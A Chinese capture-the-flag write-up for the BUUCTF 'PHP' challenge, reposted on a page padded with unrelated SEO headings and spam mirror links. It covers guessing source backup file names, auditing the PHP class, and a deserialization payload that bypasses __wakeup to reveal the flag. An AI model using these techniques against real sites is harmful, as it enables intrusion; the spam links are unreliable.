当前位置: 首页 > wzjs >正文

个人电子商务网站建设触摸屏网站如何做

个人电子商务网站建设,触摸屏网站如何做,上海建设安检站网站,网站建设先做后题目来源:BUUCTF [极客大挑战 2019]PHP 目录 一、打开靶机,整理信息 二、解题思路 step 1:目录扫描、爆破 step 2:代码审计 1.index.php 2.class.php 3.flag.php step 3:绕过__wakeup重置 ​编辑 三、小结…

题目来源:BUUCTF  [极客大挑战 2019]PHP

目录

一、打开靶机,整理信息

二、解题思路

step 1:目录扫描、爆破

step 2:代码审计

1.index.php

2.class.php

3.flag.php

step 3:绕过__wakeup重置

​编辑

三、小结


一、打开靶机,整理信息

        根据题目名称php,以及页面的备份网站的提示,这里应该有下载备份文件,里面应该有php文件要进行代码审计

二、解题思路

step 1:目录扫描、爆破

目录扫描文件太多了,找不到有用信息,可以尝试输入网站源码备份文件,看看能不能碰对

常见的网站源码备份文件后缀:

tar、tgz、zip、rar、bak、7z

常见的网站源码备份文件名:

web、website、backup、back、www、wwwroot、temp

爆破一下

        url传参看看,得到一个压缩文件夹,点进去得到一堆源码文件

        整理一下进行代码审计

step 2:代码审计

1.index.php

index.php主要是设计,有用信息已经摘抄了

<?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?>

        文件包含class.php文件,并且是GET传参,参数为select,然后将其进行反序列化

2.class.php

<?php
include 'flag.php';error_reporting(0);class Name{//设置两个私有变量private $username = 'nonono';private $password = 'yesyes';//利用__construct构造函数,在创建对象时初始化$username和$password属性public function __construct($username,$password){$this->username = $username;$this->password = $password;}//当对象被反序列化时,__wakeup方法会被自动调用,将$username重置为guestfunction __wakeup(){$this->username = 'guest';}//当对象被销毁时,__destruct方法会被自动调用function __destruct(){if ($this->password != 100) {  //检查password是否等于100echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {  //如果password等于100,则进一步检查username是否等于admin,等于则输出flagglobal $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>

代码总结:要想输出flag信息,就要绕过__wakeup重置,并且password要等于100,username要等于admin

3.flag.php

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

        什么也不是

step 3:绕过__wakeup重置

        根据上面代码审计结果,用脚本得到payload,脚本来源:[极客大挑战 2019]PHP 1_php 在线挑战-CSDN博客

<?php
class Name{private $username = 'admin';private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>

序列化结果有未显示字符,另外绕过wakeup方法要让成员属性数目大于实际数目

当成员属性数目大于实际数目时可绕过wakeup方法

        所以要将序列化结果中的2改为3,将未显示字符变为%00,再传参

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

        得到flag

三、小结

1.常见的网站源码备份文件后缀:

tar、tgz、zip、rar、bak、7z

常见的网站源码备份文件名:

web、website、backup、back、www、wwwroot、temp

2.当成员属性数目大于实际数目时可绕过wakeup方法


文章转载自:

http://SwMwT2l8.hxxwq.cn
http://DBP7mvzI.hxxwq.cn
http://GYp3jjT3.hxxwq.cn
http://DiFAFOWg.hxxwq.cn
http://WAcfWxbe.hxxwq.cn
http://stV0BsJ1.hxxwq.cn
http://d7cc6P7Q.hxxwq.cn
http://ZVGF0sDo.hxxwq.cn
http://RRGvhNEd.hxxwq.cn
http://V8F1X83u.hxxwq.cn
http://TDb5pBaM.hxxwq.cn
http://6L221a1S.hxxwq.cn
http://qiGW8tkT.hxxwq.cn
http://jJYl1gT2.hxxwq.cn
http://7SEbh2dN.hxxwq.cn
http://kkJcVEKJ.hxxwq.cn
http://TDxWETtr.hxxwq.cn
http://fTtkhHL2.hxxwq.cn
http://ZcowTRKR.hxxwq.cn
http://KET2gjTL.hxxwq.cn
http://Jq3upQwN.hxxwq.cn
http://7SInUJx0.hxxwq.cn
http://dtAX8MO4.hxxwq.cn
http://F9NyRWs9.hxxwq.cn
http://RSmmBbQu.hxxwq.cn
http://nFSCwVJG.hxxwq.cn
http://4kwhmMyo.hxxwq.cn
http://DsjQFIW6.hxxwq.cn
http://qaT05cRa.hxxwq.cn
http://dT12cRyw.hxxwq.cn
http://www.dtcms.com/wzjs/703678.html

相关文章:

  • ps做网站图片wordpress项目id
  • python做网站挣钱做网站点子
  • 确保网站地址没有做301跳转单页面seo搜索引擎优化
  • 义乌市做网站百度一下网址大全
  • 模仿的网站做一样违法吗镇江建设质量监督站网站
  • 网站加速器怎么开百度搜索风云榜小说
  • 厦门网站建设做二维码签到的网站
  • 成都市做网站的公司wordpress启用cookies
  • 大型门户网站建设企业网站平台建设意见
  • 网站打开403自己的电脑做服务区 网站
  • 重庆长寿网站设计公司哪家专业免费的wordpress模板下载地址
  • 做装修那个网站好自助建站系统模板
  • 网站地址大全oneinstack. WordPress
  • 网站建设费可摊几年wordpress文章代码显示插件
  • 广东圆心科技网站开发建站教程详解重庆璧山网站制作公司电话
  • 旅游网站建设的好处同城做哪个网站推广效果好
  • 平度网站建设ld4python基础教程电子书
  • 双语网站建设报价虹桥网站建设
  • joomla 做的网站商标 做网站 是几类
  • 招聘网站可以做劳务派遣吗简述网站开发基本流程
  • 设计做兼职最好的网站网站制作客户资料
  • 石家庄局域网网站建设厦门建设局长
  • 提供温州手机网站制作哪家便宜seo需要会网站建设吗
  • 给网站做伪静态模板和网站的区别
  • 郑州市建设工程信息网站昆明网络营销服务公司
  • 网站建设seopptwordpress secondary title
  • 私人做网站需要多少钱效果好的东莞品牌网站建设
  • 建设网站知乎最容易做的门户网站
  • 重庆所有做网站的公司排名四川宜宾建设局官方网站
  • 百度推广网站一年多少钱seo百度关键词优化